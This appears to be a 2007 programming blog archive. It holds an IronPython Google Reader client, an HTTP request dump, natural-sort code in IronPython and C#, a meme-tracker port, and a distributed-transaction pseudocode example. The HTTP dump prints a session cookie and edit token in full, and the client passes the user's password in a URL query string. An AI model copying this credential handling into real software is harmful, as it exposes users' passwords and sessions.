    """Performs an HTTP GET request to a Google service and returns the results in an XmlDocument"""
    req          = HttpWebRequest.Create(url)
    SetGoogleCookie(req, sid)
    reader = StreamReader(req.GetResponse().GetResponseStream())
    doc          = XmlDocument()
    doc.LoadXml(reader.ReadToEnd())
    return doc

def GetToken(sid):
    """Gets an edit token which is needed for any edit operations using the Google Reader API"""
    token_url = api_url_prefix + "token"
    req          = HttpWebRequest.Create(token_url)
    SetGoogleCookie(req, sid)
    reader = StreamReader(req.GetResponse().GetResponseStream())
    return reader.ReadToEnd()

def MakeSubscription(xmlNode):
    """Creates a Subscription class out of an XmlNode that was obtained from the feed list"""
    id_node     = xmlNode.SelectSingleNode("string[@name='id']")
    feedid      = id_node and id_node.InnerText or ''
    title_node  = xmlNode.SelectSingleNode("string[@name='title']")
    title       = title_node and title_node.InnerText or ''
    fim_node    =  xmlNode.SelectSingleNode("string[@name='firstitemmsec']")
    firstitemmsec = fim_node and fim_node.InnerText or ''
    categories  = [MakeCategory(catNode) for catNode in xmlNode.SelectNodes("list[@name='categories']/object")]
    return Subscription(feedid, title, categories, firstitemmsec)

def MakeCategory(catNode):
    """Returns a tuple of (label, category id) from an XmlNode representing a feed's labels that was obtained from the feed list"""
    id_node     = catNode.SelectSingleNode("string[@name='id']")
    catid       = id_node and id_node.InnerText or ''
    label_node  = catNode.SelectSingleNode("string[@name='label']")
    label       = label_node and label_node.InnerText or ''
    return (label, catid)

def AuthenticateUser(username, password):
    """Authenticates the user and returns a username/password combination"""
    req = HttpWebRequest.Create(auth_url % (username, password))
    reader = StreamReader(req.GetResponse().GetResponseStream())
    response = reader.ReadToEnd().split('\n')
    for s in response:
        if s.startswith("SID="):
            return s[4:]

def SetGoogleCookie(webRequest, sid):
    """Sets the Google authentication cookie on the HttpWebRequest instance"""
    cookie = Cookie("SID", sid, "/", ".google.com")
    cookie.Expires = DateTime.Now + TimeSpan(7,0,0,0)
    container      = CookieContainer()
    container.Add(cookie)
    webRequest.CookieContainer = container

def GetSubscriptionList(feedlist, sid):
    """Gets the users list of subscriptions"""
    feedlist_url = api_url_prefix + "subscription/list"
    #download the JSON-esque XML feed list
    doc = MakeHttpGetRequest(feedlist_url, sid)

    #create subscription nodes
    feedlist.feeds  = [MakeSubscription(node) for node in doc.SelectNodes("/object/list[@name='subscriptions']/object")]
    feedlist.modified = False

def GetTagList(sid):
  """Gets a list of the user's tags"""
  taglist_url = api_url_prefix + "tag/list"
  doc = MakeHttpGetRequest(taglist_url, sid)
  #get the user id needed for creating new labels from Google system tags

  userid = doc.SelectSingleNode("/object/list/object/string[contains(string(.), 'state/com.google/starred')]").InnerText
  userid = userid.replace("/state/com.google/starred", "");
  userid = userid[5:]
  #get the user-defined labels
  tags = [node.InnerText.Replace("user/" + userid + "/label/" ,"") for node in doc.SelectNodes("/object/list[@name='tags']/object/string[@name='id']") if node.InnerText.IndexOf( "/com.google/") == -1 ]
  return TagList(userid, tags)

def DownloadFeeds(feedlist, sid):
    """Downloads each feed from the subscription list to a local directory"""
    for feedinfo in feedlist.feeds:
        unixepoch  = DateTime(1970, 1,1, 0,0,0,0, DateTimeKind.Utc)
        oneweek_ago   = DateTime.Now - TimeSpan(7,0,0,0)
        ifmodifiedsince = oneweek_ago - unixepoch
        feed_url = feed_url_prefix + feedinfo.feedid +  "?n=25&r=o&ot=" + str(int(ifmodifiedsince.TotalSeconds))
        continuation = True
        continuation_token = ''
        feedDoc      = None

        while True:
            print "Downloading feed at %s" % (feed_url  + continuation_token)
            doc = MakeHttpGetRequest(feed_url + continuation_token, sid)
            continuation_node     = doc.SelectSingleNode("//*[local-name()='continuation']")
            continuation_token    = continuation_node and ("&c=" + continuation_node.InnerText) or ''

            if feedDoc is None:
                feedDoc = doc
            else:
                for node in doc.SelectNodes("//*[local-name()='entry']"):
                    node = feedDoc.ImportNode(node, True)
                    feedDoc.DocumentElement.AppendChild(node)

            if continuation_token == '':
                break

        print "Saving %s" % (feed_cache_prefix + feedinfo.title + ".xml")
        feedDoc.Save(feed_cache_prefix + feedinfo.title + ".xml")

def ShowSubscriptionList(feedlist, sid):
    """Displays the users list of subscriptions including the labels applied to each item"""
    if feedlist.modified:
        GetSubscriptionList(feedlist, sid)
    count = 1
    for feedinfo in feedlist.feeds:
        print "%s. %s (%s)" % (count, feedinfo.title, [category[0] for category in feedinfo.categories])
        count = count + 1

def Subscribe(url, sid):
    """Subscribes to the specified feed URL in Google Reader"""
    params        = "quickadd=" + HttpUtility.UrlEncode(url) + "&T=" + GetToken(sid)
    resp = MakeHttpPostRequest(add_url, params, sid)

    if resp.StatusCode == HttpStatusCode.OK:
        print "%s successfully added to subscription list" % url
        return True
    else:
        print resp.StatusDescription
        return False

def Unsubscribe(index, feedlist, sid):
    """Unsubscribes from the feed at the specified index in the feed list"""
    unsubscribe_url = api_url_prefix + "subscription/edit"
    feed = feedlist.feeds[index]
    params = "ac=unsubscribe&i=null&T=" + GetToken(sid) + "&t=" + feed.title  + "&s=" + feed.feedid
    resp = MakeHttpPostRequest(unsubscribe_url, params, sid)

    if resp.StatusCode == HttpStatusCode.OK:
        print "'%s' successfully removed from subscription list" % feed.title
        return True
    else:
        print resp.StatusDescription
        return False

def Rename(new_title, index, feedlist, sid):
    """Renames the feed at the specified index in the feed list"""
    api_url = api_url_prefix + "subscription/edit"
    feed = feedlist.feeds[index]
    params = "ac=edit&i=null&T=" + GetToken(sid) + "&t=" + new_title  + "&s=" + feed.feedid
    resp = MakeHttpPostRequest(api_url, params, sid)

    if resp.StatusCode == HttpStatusCode.OK:
        print "'%s' successfully renamed to '%s'" % (feed.title, new_title)
        return True
    else:
        print resp.StatusDescription
        return False

def EditLabel(label, editmode, userid, feedlist, index, sid):
    """Adds or removes the specified label to the feed at the specified index depending on the edit mode"""
    full_label = "user/" + userid + "/label/" + label
    label_url = api_url_prefix + "subscription/edit"
    feed = feedlist.feeds[index]
    params = "ac=edit&i=null&T=" + GetToken(sid) + "&t=" + feed.title  + "&s=" + feed.feedid

    if editmode == add_label:
        params = params + "&a=" + full_label
    elif editmode == remove_label:
        params = params + "&r=" + full_label
    else:
        return

    resp = MakeHttpPostRequest(label_url, params, sid)
    if resp.StatusCode == HttpStatusCode.OK:
        print "Successfully edited label '%s' of feed '%s'" % (label, feed.title)
        return True
    else:
        print resp.StatusDescription
        return False

def MarkAllItemsAsRead(index, feedlist, sid):
    """Marks all items from the selected feed as read"""
    unixepoch  = DateTime(1970, 1,1, 0,0,0,0, DateTimeKind.Utc)

    markread_url = api_url_prefix + "mark-all-as-read"
    feed = feedlist.feeds[index]
    params = "s=" + feed.feedid + "&T=" + GetToken(sid) + "&ts=" + str(int((DateTime.Now - unixepoch).TotalSeconds))
    MakeHttpPostRequest(markread_url, params, sid)
    print "All items in '%s' have been marked as read" % feed.title

def GetFeedIndexFromUser(feedlist):
    """prompts the user for the index of the feed they are interested in and returns the index as the result of this function"""
    print "Enter the numeric position of the feed from 1 - %s" % (len(feedlist.feeds))
    index = int(sys.stdin.readline().strip())
    if (index < 1) or (index > len(feedlist.feeds)):
        print "Invalid index specified: %s" % feed2label_indx
        return -1
    else:
        return index

if __name__ == "__main__":
       if len(sys.argv) < 3:
           print "ERROR: Please specify a Gmail username and password"
       else:
           if len(sys.argv) > 3:
               feed_cache_prefix = sys.argv[3]

           SID = AuthenticateUser(sys.argv[1], sys.argv[2])
           feedlist = SubscriptionList(True, [])
           GetSubscriptionList(feedlist, SID)
           taglist = GetTagList(SID)

           options = "***Your options are (f)etch your feeds, (l)ist your subscriptions, (s)ubscribe to a new feed, (u)nsubscribe, (m)ark read , (r)ename, (a)dd a label to a feed, (d)elete a label from a feed or (e)xit***"
           print "\n"

           while True:
               print options
               cmd = sys.stdin.readline()
               if cmd == "e\n":
                   break
               elif cmd == "l\n": #list subscriptions
                   ShowSubscriptionList(feedlist, SID)
               elif cmd == "s\n": #subscribe to a new feed
                   print "Enter url: "
                   new_feed_url = sys.stdin.readline().strip()
                   success = Subscribe(new_feed_url, SID)

                   if feedlist.modified == False:
                       feedlist.modified = success
               elif cmd == "u\n": #unsubscribe from a feed
                   feed2remove_indx = GetFeedIndexFromUser(feedlist)
                   if feed2remove_indx != -1:
                       success = Unsubscribe(feed2remove_indx-1, feedlist, SID)

                       if feedlist.modified == False:
                           feedlist.modified = success
               elif cmd == "r\n": #rename a feed
                   feed2rename_indx = GetFeedIndexFromUser(feedlist)
                   if feed2rename_indx != -1:
                       print "'%s' selected" % feedlist.feeds[feed2rename_indx -1].title
                       print "Enter the new title for the subscription:"
                       success = Rename(sys.stdin.readline().strip(), feed2rename_indx-1, feedlist, SID)

                       if feedlist.modified == False:
                           feedlist.modified = success
               elif cmd == "f\n": #fetch feeds
                   feedlist = DownloadFeeds(feedlist, SID)
               elif cmd == "m\n": #mark all items as read
                   feed2markread_indx = GetFeedIndexFromUser(feedlist)
                   if feed2markread_indx != -1:
                       MarkAllItemsAsRead(feed2markread_indx-1, feedlist, SID)
               elif (cmd == "a\n") or (cmd == "d\n"): #add/remove a label on a feed
                   editmode = (cmd == "a\n") and add_label or remove_label
                   feed2label_indx = GetFeedIndexFromUser(feedlist)
                   if feed2label_indx != -1:
                       feed = feedlist.feeds[feed2label_indx-1]
                       print "'%s' selected" % feed.title
                       print "%s" % ((cmd == "a\n") and "Enter the new label:" or "Enter the label to delete:")
                       label_name = sys.stdin.readline().strip()
                       success = EditLabel(label_name, editmode, taglist.userid, feedlist, feed2label_indx-1, SID)

                       if feedlist.modified == False:
                           feedlist.modified = success
               else:
                   print "Unknown command"

Now Playing: DJ Drama - Cannon (Remix) (Feat. Lil Wayne, Willie The Kid, Freeway And T.I.)


 

Categories: Programming

December 30, 2007
@ 11:19 PM

REQUEST:

POST /reader/api/0/subscription/edit HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: www.google.com
Cookie: SID=DQAAAHoAAD4SjpLSFdgpOrhM8Ju-JL2V1q0aZxm0vIUYa-p3QcnA0wXMoT7dDr7c5FMrfHSZtxvDGcDPTQHFxGmRyPlvSvrgNe5xxQJwPlK_ApHWhzcgfOWJoIPu6YuLAFuGaHwgvFsMnJnlkKYtTAuDA1u7aY6ZbL1g65hCNWySxwwu__eQ
Content-Length: 182
Expect: 100-continue

s=http%3a%2f%2fwww.icerocket.com%2fsearch%3ftab%3dblog%26q%3dlink%253A25hoursaday.com%252Fweblog%2b%26rss%3d1&ac=subscribe&T=wAxsLRcBAAA.ucVzEgL9y7YfSo5CU5omw.w1BCzXzXHsyicU9R3qWgQ

RESPONSE:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: GRLD=UNSET;Path=/reader/
Transfer-Encoding: chunked
Cache-control: private
Date: Sun, 30 Dec 2007 23:08:51 GMT
Server: GFE/1.3

<html><head><title>500 Server Error</title>
<style type="text/css">
      body {font-family: arial,sans-serif}
      div.nav {margin-top: 1ex}
      div.nav A {font-size: 10pt; font-family: arial,sans-serif}
      span.nav {font-size: 10pt; font-family: arial,sans-serif; font-weight: bold}
      div.nav A,span.big {font-size: 12pt; color: #0000cc}
      div.nav A {font-size: 10pt; color: black}
      A.l:link {color: #6f6f6f}
      </style></head>
<body text="#000000" bgcolor="#ffffff"><table border="0" cellpadding="2" cellspacing="0" width="100%"></table>
<table><tr><td rowspan="3" width="1%"><b><font face="times" color="#0039b6" size="10">G</font><font face="times" color="#c41200" size="10">o</font><font face="times" color="#f3c518" size="10">o</font><font face="times" color="#0039b6" size="10">g</font><font face="times" color="#30a72f" size="10">l</font><font face="times" color="#c41200" size="10">e</font>&nbsp;&nbsp;</b></td>
<td>&nbsp;</td></tr>
<tr><td bgcolor="#3366cc"><font face="arial,sans-serif" color="#ffffff"><b>Error</b></font></td></tr>
<tr><td>&nbsp;</td></tr></table>
<blockquote><h1>Server Error</h1>
The server encountered a temporary error and could not complete your request.<p></p> Please try again in 30 seconds.

<p></p></blockquote>
<table width="100%" cellpadding="0" cellspacing="0"><tr><td bgcolor="#3366cc"><img alt="" width="1" height="4"></td></tr></table></body></html>


 

Categories: Platforms | Programming | XML Web Services

Jeff Atwood has a blog post entitled Sorting for Humans : Natural Sort Order where he writes

The default sort functions in almost every programming language are poorly suited for human consumption. What do I mean by that? Well, consider the difference between sorting filenames in Windows explorer, and sorting those very same filenames via Array.Sort() code:

Implementing a natural sort is more complex than it seems, and not just for the gnarly i20n issues I've hinted at, above. But the Python implementations are impressively succinct

I tried to come up with a clever, similarly succinct C# 3.0 natural sort implementation, but I failed. I'm not interested in a one-liner contest, necessarily, but it does seem to me that a basic natural sort shouldn't require the 40+ lines of code it takes in most languages.

Since I’m still in my “learning Python by mapping it to C#” phase I thought this should be a straightforward task. Below is the equivalent IronPython code for natural sort which is slightly modified from the code posted in Jeff’s post along with what I hoped to be a succint version in C# 2.0. It would definitely be shorter in C# 3.0 [which I don’t plan to start using for another year or so]. The Python snippet below takes advantage of some interesting rules around comparing lists of objects which don’t exist in C#. I’m sure I could reduce the size of the C# code while maintaining readability but my procrastination time is over and I need to get to work. Wink

Natural Sort in IronPython

import re

def sort_nicely( l ):
  """ Sort the given list in the way that humans expect. """
   
  convert = lambda x: x.isdigit() and int(x) or x
  alphanum = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ]
  l.sort( key=alphanum ) #serious magic happens here
  return l

print sort_nicely(["z22.txt", "z5.txt" , "z.txt", "z10.txt", "z300.txt", "z2.txt", "z11.txt", "y.txt", "z", "z4.txt", "za.txt" ])

Natural Sort in C# 2.0


using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;


public class Test {


   ///<summary>Compare two lists of strings using Python rules and natural order semantics</summary>
  public static int NaturalCompare(IList<string> a, IList<string> b) {
    int y, z, len = (a.Count < b.Count ? a.Count : b.Count);

    for (int i = 0; i < len; i++) {
      if (a[i].Equals(b[i])) continue;

      bool w = Int32.TryParse(a[i], out y), x = Int32.TryParse(b[i], out z);
      bool bothNumbers = w && x, bothNotNumbers = !w && !x;

      if (bothNumbers) return y.CompareTo(z);
      else if (bothNotNumbers) return a[i].CompareTo(b[i]);
      else if (w) return -1;
      else return 1; //numbers always less than words or letters
    }
    return (a.Count.CompareTo(b.Count)); //subset list is considered smaller 
  }

  public static List<string> SortNicely(List<string> list) {
    Regex re
= new Regex("([0-9]+)");
    list
.Sort(delegate(string x, string y) { return NaturalCompare(re.Split(x), re.Split(y)); });
    return list;
  }


  public static void Main(string[] args) {
    List<string> l = new List<string>(new string[] { "z.txt", "y.txt", "z22.txt", "z5.txt", "z10.txt", "z3.txt", "z2.txt", "za.txt", "z11.txt", "z400.txt" });
    foreach (string s in SortNicely(l)) Console.WriteLine(s);
  }
}

Now playing: Notorious B.I.G. - Real N*ggas Do Real Things


 

Categories: Programming

This time last year, Erik Meijer sent me a paper about a new programming language project he was working on. I was high on the social graph at that time and didn't get around to responding to Erik's paper until this fall. The premise seemed fundamentally interesting; create an MSIL to Javascript compiler which is conceptually similar to Google's GWT and Nikhil Kothari's Script# then flip the traditional Web development script by allowing developers to choose whether code runs on the server or on the client by simply decorating methods with attributes. The last bit is the interesting innovation in Erik's project although it is obscured by the C#/VB/MSIL to Javascript compiler aspects.

As an example, let's say you have a function like ValidateAddress(). Whether this logic lives on the client (i.e. Javascript in the browser) or runs on the server is really a function of how complicated that function actually ends up being. Now imagine if when the time comes to refactor the function and move the validation logic from the Web client to the server or vice versa, instead of rewriting Javascript code in C#/IronPython/VB.NET/IronRuby/etc or vice versa you just add or remove a [RunAtOrigin] attribute on the function.

This project shipped last week as Microsoft Volta. You can learn a little more about it in Erik Meijer's post on Lambda the Ultimate entitled Democratizing the Cloud using Microsoft Live Labs Volta. Try it out, it's an interesting project that has legs. 

Now playing: Jay-Z - Pray


 

Categories: Programming

One of the things that has always frustrated me about programming in C# that it is such a hassle to return multiple values from a method. You either have to create a wrapper class whose entire purpose is to hold two or three variables or even worse use ref or out parameters. I used to get around this problem in C++ by using the pair utility class since I often wanted to deal with an object plus some value associated with it. However this approach quickly breaks down when you have more than two objects you want to associate temporarily for some processing.  

For example, in the Top Stories feature of RSS Bandit I have some code that operates on a URL, its weighted score and a list of all the posts that reference it. In C#, there’s no good way to deal with those three objects as a single entity without wrapping them in a class definition. In Python, it’s quite easy to do that using tuples. Compare the following two blocks of code and notice how I don’t need the RelationHrefEntry and RankedNewsItem types in the Python version of the code

C#:     /* Tally the votes, only 1 vote counts per feed */

 //RelationHrefEntry is (Href, Score, References), RankedNewsItem is (NewsItem, Score)

List<RelationHRefEntry> weightedLinks = new List<RelationHRefEntry>();

foreach (KeyValuePair<RelationHRefEntry, List<RankedNewsItem>> linkNvotes in allLinks) {

Dictionary<string, float> votesPerFeed = new Dictionary<string, float>();

//pick the lower vote if multiple links from a particular feed

foreach (RankedNewsItem voteItem in linkNvotes.Value) {

string feedLink = voteItem.Item.FeedLink;

if(votesPerFeed.ContainsKey(feedLink)){

votesPerFeed[feedLink] = Math.Min(votesPerFeed[feedLink], voteItem.Score);

}else{

votesPerFeed.Add(feedLink, voteItem.Score);

linkNvotes.Key.References.Add(voteItem.Item);

}

}

float totalScore = 0.0f;

foreach (float value in votesPerFeed.Values) {

totalScore += value;

}

linkNvotes.Key.Score = totalScore;

weightedLinks.Add(linkNvotes.Key);

}

weightedLinks.Sort(delegate(RelationHRefEntry x, RelationHRefEntry y) { return y.Score.CompareTo(x.Score);} );

weightedLinks = weightedLinks.GetRange(0, numStories);

Python:

    # tally the votes, only 1 vote counts per feed
    weighted_links = []
    for link, votes in all_links.items():
        site = {}
        for weight, item, feedTitle in votes:   #tuple magic happens here            
            site[feedTitle] = min(site.get(feedTitle,1), weight)   #Python dictionaries are smarter than .NET’s 
        weighted_links.append((sum(site.values()), link))   #more tuple magic, no need for manual summing of values 
    weighted_links.sort()
    weighted_links.reverse()

Now playing: UGK - One Day


 

Categories: Programming

November 26, 2007
@ 01:56 PM

My weekend project was to read Dive Into Python and learn enough Python to be able to port Sam Ruby's meme tracker (source code) from CPython to Iron Python. Sam's meme tracker, shows the most popular links from the past week from the blogs in his RSS subscriptions. A nice wrinkle Sam added to his code is that more recent posts are weighted higher than older posts. So a newly hot item with 3 or 4 links posted yesterday ends up ranking higher than an item with 6 to 10 posts about it from five days ago. Using that sort of weighting probably wouldn't have occurred to me if I just hacked the feature on my own, so I'm glad I spent the time learning Sam's code.

There are a few differences between Sam's code and mine, the most significant being that I support two modes; showing the most popular items from all unread posts and showing the most popular items from the past week. The other differences mainly have to do with the input types (Atom entries vs. RSS feeds) and using .NET Libraries like System.Xml and System.IO instead of CPython libraries like libxml2 and blob. You can see the difference between both approaches for determining top stories on my feed subscriptions below

Top Stories in the Past Week

  1. Mobile Web: So Close Yet So Far (score: 1.71595943656)
  2. The Secret Strategies Behind Many "Viral" Videos (score: 1.52423410473)
  3. Live Documents is Powerful Stuff (score: 1.35218082421)

Top Stories in all Unread Posts

  1. OpenSocial (score: 5.0)
  2. The Future of Reading (score: 3.0)
  3. MySpace (score: 3.0) [Ed Note: Mostly related to OpenSocial]

As you can probably tell, the weighted scoring isn't used when determining top stories in all unread posts. I did this to ensure that the results didn't end up being to similar for both approaches. This functionality is definitely going to make its way into RSS Bandit now that I've figured out the basic details on how it should work. As much as I'd like to keep this code in Iron Python, I'll probably port it to C# when integrating it for a number of practical reasons including maintainability (Torsten shouldn't have to learn Python as well), performance and better integration into our application.

Working with Python was a joy. I especially loved programming with a REPL. If I had a question about what some code does, it's pretty easy to write a few one or two liners to figure it out. Contrast this with  using Web searches, trawling through MSDN documentation or creating a full blown program just to test the out some ideas when using C# and Visual Studio. I felt a lot more productive even though all I was using was Emacs and a DOS prompt. 

I expected the hardest part of my project to be getting my wife to tolerate me spending most of the weekend hacking code. That turned out not to be a problem because it didn't take as long as I expected and for the most part we did spend the time together (me on the laptop, her reading The Other Boleyn Girl, both of us on the sofa). 

There are at least two things that need some fine tuning. The first is that I get the title of the link from the text of the links used to describe it and that doesn't lead to very useful link text in over half of the cases. After generating the page, there may need to be a step that goes out to the HTML pages and extracts their title elements for use as link text. The second problem is that popular sites like Facebook and Twitter tend to show up every once in a while in the list just because people talk about them so much. This seems to happen less than I expected however, so this may not be a problem in reality.

Now I just have to worry about whether to call the button [Show Popular Stories] or [Show Most Linked Stories]. Thoughts?


import time, sys, re, System, System.IO, System.Globalization
from System import *
from System.IO import *
from System.Globalization import DateTimeStyles
import clr
clr.AddReference("System.Xml")
from System.Xml import *

#################################################################
#
# USAGE: ipy memetracker.py <directory-of-rss-feeds> <mode>
# mode = 0 show most popular links in unread items
# mode = 1 show most popular links from items from the past week
#################################################################

all_links = {}
one_week =  TimeSpan(7,0,0,0)

cache_location = r"C:\Documents and Settings\dareo\Local Settings\Application Data\RssBandit\Cache"
href_regex     = r"<a[\s]+[^>]*?href[\s]?=[\s\"\']+(.*?)[\"\']+.*?>([^<]+|.*?)?<\/a>"
regex          = re.compile(href_regex)

(popular_in_unread, popular_in_past_week) = range(2)
mode = popular_in_past_week

class RssItem:
    """Represents an RSS item"""
    def __init__(self, permalink, title, date, read, outgoing_links):
        self.outgoing_links = outgoing_links
        self.permalink      = permalink
        self.title          = title
        self.date           = date
        self.read           = read

def MakeRssItem(itemnode):
    link_node  = itemnode.SelectSingleNode("link")
    permalink  = link_node and link_node.InnerText or ''
    title_node = itemnode.SelectSingleNode("title")
    title      = link_node and title_node.InnerText or ''
    date_node  = itemnode.SelectSingleNode("pubDate")
    date       = date_node and DateTime.Parse(date_node.InnerText, None, DateTimeStyles.AdjustToUniversal) or DateTime.Now 
    read_node  = itemnode.SelectSingleNode("//@*[local-name() = 'read']")
    read       = read_node and int(read_node.Value) or 0
    desc_node  = itemnode.SelectSingleNode("description")
    # obtain href value and link text pairs
    outgoing   = desc_node and regex.findall(desc_node.InnerText) or []
    outgoing_links = {}
    #ensure we only collect unique href values from entry by replacing list returned by regex with dictionary
    if len(outgoing) > 0:
        for url, linktext in outgoing:
            outgoing_links[url] = linktext
    return RssItem(permalink, title, date, read, outgoing_links)   

if __name__ == "__main__":
    if len(sys.argv) > 1: #get directory of RSS feeds
        cache_location = sys.argv[1]
    if len(sys.argv) > 2: # mode = 0 means use only unread items, mode = 1 means use all items from past week
        mode           = int(argv[2]) and popular_in_past_week or popular_in_unread

    print "Processing items from %s seeking items that are %s" % (cache_location,
                                                                  mode and "popular in items from the past week"
                                                                  or "popular in unread items" )
    #decide what filter function to use depending on mode
    filterFunc = mode and (lambda x : (DateTime.Now - x.date) < one_week) or (lambda x : x.read == 0)
    #in mode = 0 each entry linking to an item counts as a vote, in mode = 1 value of vote depends on item age
    voteFunc   = mode and (lambda x: 1.0 - (DateTime.Now.Ticks - x.date.Ticks) * 1.0 / one_week.Ticks) or (lambda x: 1.0)

    di = DirectoryInfo(cache_location)
    for fi in di.GetFiles("*.xml"):     
        doc = XmlDocument()
        doc.Load(Path.Combine(cache_location, fi.Name))
        # for each item in feed       
        #  1. Get permalink, title, read status and date
        #  2. Get list of outgoing links + link title pairs
        #  3. Convert above to RssItem object
        items = [ MakeRssItem(node) for node in doc.SelectNodes("//item")]
        feedTitle = doc.SelectSingleNode("/rss/channel/title").InnerText
        # apply filter to pick candidate items, then calculate vote for each outgoing url
        for item in filter(filterFunc, items):
            vote = (voteFunc(item), item, feedTitle)
            #add a vote for each of the URLs
            for url in item.outgoing_links.Keys:
                if all_links.get(url) == None:
                    all_links[url] = []
                all_links.get(url).append(vote)

       # tally the votes, only 1 vote counts per feed
    weighted_links = []
    for link, votes in all_links.items():
        site = {}
        for weight, item, feedTitle in votes:               
            site[feedTitle] = min(site.get(feedTitle,1), weight)
        weighted_links.append((sum(site.values()), link))
    weighted_links.sort()
    weighted_links.reverse()

    # output the results, choose link text from first item we saw story linked from
    print "<ol>"   
    for weight, link in weighted_links[:10]:
        link_text = (all_links.get(link)[0])[1].outgoing_links.get(link)
        print "<li><a href='%s'>%s</a> (%s)" % (link, link_text, weight)
        print "<p>Seen on:"
        print "<ul>"
        for weight, item, feedTitle in all_links.get(link):
            print "<li>%s: <a href='%s'>%s</a></li>" % (feedTitle, item.permalink, item.title)
        print "</ul></p></li>" 
    print "</ol>"


 

Categories: Programming

I've been reading Dive Into Python for a couple of days have gotten far enough to tell what the following block of code does if the object variable is an arbitrary Python object

methodList = [method for method in dir(object) if callable(getattr(object, method))]
    processFunc = collapse and (lambda s: " ".join(s.split())) or (lambda s: s)
    print "\n".join(["%s %s" %
                      (method.ljust(spacing),
                       processFunc(str(getattr(object, method).__doc__)))
                     for method in methodList])

However I've been having a tougher time than I expected with learning Python using Dive Into Python for a couple of reasons, some to do with how the book is laid out and some to do with my choice of IronPython as my Python implementation of choice. The main problems I've been having are

  • IronPython doesn't have a number of standard libraries that are used in the book such as os, xml.dom, UserDict, sgmllib and so on. This means I can't construct or run a number of the more advanced samples in the book.
  • The book seems to dive into meaty topics before covering the basics. For example, introspection (aka reflection) and lambda functions (aka anonymous methods)  are covered in Chapter 4 while defining classes and importing modules is covered in Chapter 5. Similarly, a discussion on for loops seems to have been removed from the most recent version of the book and replaced with a discussion on list comprehensions which are definitely superior but more alien to the novice.
  • I tend to learn comparatively. Thus I would love to get a more direct mapping of constructs in C# to those in Python with  discussions on Python features that don't exist in C#. This is the tack I took with C# from a Java Developers perspective and it seems a lot of people found that useful.

For these reasons, I thought it would be useful to create a set of tutorials for myself that would address some of these issues I've been having. Then I wondered if other C# developers wouldn't find such an article or tutorial useful as well. Are there any C# developers out there that would actually be interested in this or am I an edge case?

PS: I wouldn't expect to get time to actually writing, editing and publishing such tutorials until the summer of next year at the earliest (which I expect should coincide with the availability of IronPython 2.0). 


 

Categories: Programming

I’ve been working on simplifying my life and improving on my mental state over the last year or so. I’m now at the stage where I think I’ve gotten into a decent routine with diet and excercise. My next step [now that the rigors of buying the house and planning the wedding are over] is to broaden my programming horizons by learning a radically different programming language from my comfort zone, Python and C# respectively, while not harming my personal life or work habits.

It turns out that I can add an hour or two to my day by (i) leaving home earlier and thus avoiding traffic (ii) reading blogs less (iii) unsubscribing from most of the Microsoft internal mailing lists I was on and (iv) scheduling meetings so they are clumped together instead of having three meetings with 30 minutes in between each one thus burning up an hour of my time mentally twiddling my thumbs and checking email. 

So far I’ve installed IronPython and python-mode. I’ve also started reading Dive into Python and have gotten as far as Chapter 3. I’d just like to thank folks like Mark Pilgrim, Jim Hugunin and Barry Warsaw who are gifting programmers with such wonderful resources. Right now I’m still trying to wrap my mind around Everything is An Object

Everything in Python is an object, and almost everything has attributes and methods.

This is so important that I'm going to repeat it in case you missed it the first few times: everything in Python is an object. Strings are objects. Lists are objects. Functions are objects. Even modules are objects.

All functions have a built-in attribute __doc__, which returns the doc string defined in the function's source code. The sys module is an object which has (among other things) an attribute called path. And so forth.

So far this is already an enjoyable experience for someone who has mostly been programming in Javascript (not object oriented, dynamic but weakly typed) and C# (statically typed, no REPL) for the past few years.

Once I’m done reading Dive into Python, my plan is to integrate Sam Ruby’s MeMeme 2.0 into RSS Bandit. That way even though I’ve stopped reading blogs regularly, I don’t end up finding out days later that Visual Studio 2008 and .NET Framework 3.5 were released because it wasn’t on TechMeme or programming.reddit.  

Optimizing your life by writing code is fun. I guess this is what they call life hacking. Wink

Now playing: The Clash - Rock The Casbah


 

Categories: Programming

I recently got an email from a developer about my post Thoughts on Amazon's Internal Storage System (Dynamo) which claimed that I seem to be romanticizing distributed systems that favor availability over consistency. He pointed out that although this sounds nice on paper, it places a significant burden on application developers. He is 100% right. This has been my experience in Windows Live and I’ve heard enough second hand to assume it is the experience at Amazon as well when it comes to Dynamo.

I thought an example of how this trade-off affects developers would be a useful excercise and may be of interest to my readers. The following example is hypothetical and should not be construed as describing the internal architectures of any production systems I am aware of.

Scenario: Torsten Rendelmann, a Facebook user in Germany, accepts a friend request from Dare Obasanjo who is a Facebook user in the United States.

The Distributed System: To improve the response times for users in Europe, imagine Facebook has a data center in London while American users a serviced from a Data Center in Palo Alto. To achieve this, the user database is broken up in a process commonly described as shardingThe question of if and how data is replicated across both data centers isn’t relevant to this example.

The application developer who owns the confirm_friend_request() method, will ideally want to write code that took the following form 

public void confirm_friend_request(user1, user2){

  begin_transaction();
  update_friend_list(user1, user2, status.confirmed); //palo alto
  update_friend_list(user2, user1, status.confirmed); //london
  end_transaction();

Yay, distributed transactions. You have to love a feature that every vendor advises you not to use if you care about performance. So obviously this doesn’t work for a large scale distributed system where performance and availabilty are important.  

Things get particularly ugly when you realize that either data center or the specific server a user’s data is stored on could be unreachable for a variety of reasons (e.g. DoS attack, high seasonal load, drunk sys admin tripped over a power cord, hard drive failure due to cheap components, etc).

There are a number of options one can consider when availability and high performance are considered to be more important than data consistency in the above example. Below are three potential implementations of the code above each with it’s own set of trade offs.

OPTION I: Application developer performs manual rollback on error

public void confirm_friend_request_A(user1, user2){

 try{
   update_friend_list(user1, user2, status.confirmed); //palo alto 
 }catch(exception e){ 
  report_error(e); 
  return;
 }

 try{
  update_friend_list(user2, user1, status.confirmed); //london
 }catch(exception e) {
  revert_friend_list(user1, user2);
  report_error(e);
  return; 
 }

}

The problem here is that we don’t handle the case where revert_friend_list() fails. This means that Dare (user1) may end up having Torsten (user2) on his friend list but Torsten won’t have Dare on his friend list. The database has lied.

OPTION II: Failed events are placed in a message queue to be retried until they succeed.   

public void confirm_friend_request_B(user1, user2){

 try{
   update_friend_list(user1, user2, status.confirmed); //palo alto 
 }catch(exception e){ 
  report_error(e); 
  add_to_retry_queue(operation.updatefriendlist, user1, user2, current_time()); 
 }

 try{
  update_friend_list(user2, user1, status.confirmed); //london
 }catch(exception e) {
  report_error(e); 
  add_to_retry_queue(operation.updatefriendlist, user2, user1, current_time());  
 }

}

